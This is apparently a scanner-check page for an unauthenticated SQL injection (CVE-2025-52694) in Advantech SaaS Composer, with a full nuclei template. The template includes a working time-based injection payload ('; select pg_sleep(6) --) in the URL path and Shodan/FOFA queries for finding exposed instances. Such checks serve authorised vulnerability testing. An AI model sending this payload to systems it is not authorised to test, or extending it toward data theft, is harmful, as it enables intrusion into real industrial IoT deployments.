Advantech WISE-IoTSuite/SaaS - SQL Injection

criticalseverity

10CVSS score

39.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Advantech WISE-IoTSuite/SaaS Composer suffers from an unauthenticated SQL Injection vulnerability due to the unsafe use of the `filename` parameter within the URL path in PostgreSQL queries. Remote attackers can exploit this flaw by injecting SQL code (such as the use of `pg_sleep` for time delays) to verify the vulnerability, and may gain further impact such as Remote Code Execution (RCE) depending on the privileges granted to the database user.

Impact

Successful exploitation could allow an attacker to dump the database, modify data, or execute remote commands on the underlying server.

Fix

Apply the latest security patches provided by Advantech or sanitize the `filename` input parameter to prevent SQL injection.

How to confirm it

Send: GET {{BaseURL}}/
Positive when: contains "SaaS Composer"
Send: GET {{BaseURL}}/displays/nuclei_check.json'; select pg_sleep(6) --?org_id={{org_id}}
Positive when: status_code == 200 and duration>=6

Run it with nuclei: nuclei -id CVE-2025-52694 -u <target>

The full check

id: CVE-2025-52694

info:
  name: Advantech WISE-IoTSuite/SaaS - SQL Injection
  author: Loi Nguyen Thang
  severity: critical
  description: |
    Advantech WISE-IoTSuite/SaaS Composer suffers from an unauthenticated SQL Injection vulnerability due to the unsafe use of the `filename` parameter within the URL path in PostgreSQL queries. Remote attackers can exploit this flaw by injecting SQL code (such as the use of `pg_sleep` for time delays) to verify the vulnerability, and may gain further impact such as Remote Code Execution (RCE) depending on the privileges granted to the database user.
  impact: |
    Successful exploitation could allow an attacker to dump the database, modify data, or execute remote commands on the underlying server.
  remediation: |
    Apply the latest security patches provided by Advantech or sanitize the `filename` input parameter to prevent SQL injection.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2025-52694
    - https://www.csa.gov.sg/alerts-and-advisories/alerts/alerts-al-2026-001
    - https://github.com/Winz18/CVE-2025-52694-POC
    - https://nvd.nist.gov/vuln/detail/CVE-2025-52694
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-52694
    epss-score: 0.39909
    epss-percentile: 0.98636
    cwe-id: CWE-89
  metadata:
    verified: true
    shodan-query: title:"SaaS Composer"
    fofa-query: title="SaaS Composer"
  tags: cve,cve2025,sqli,advantech,iot,saas-composer,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers:
      - type: word
        words:
          - "SaaS Composer"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/displays/nuclei_check.json'; select pg_sleep(6) --?org_id={{org_id}}"

    payloads:
      org_id:
        - 1
        - 2
        - 3
        - 4
        - 5

    attack: clusterbomb
    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'duration>=6'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from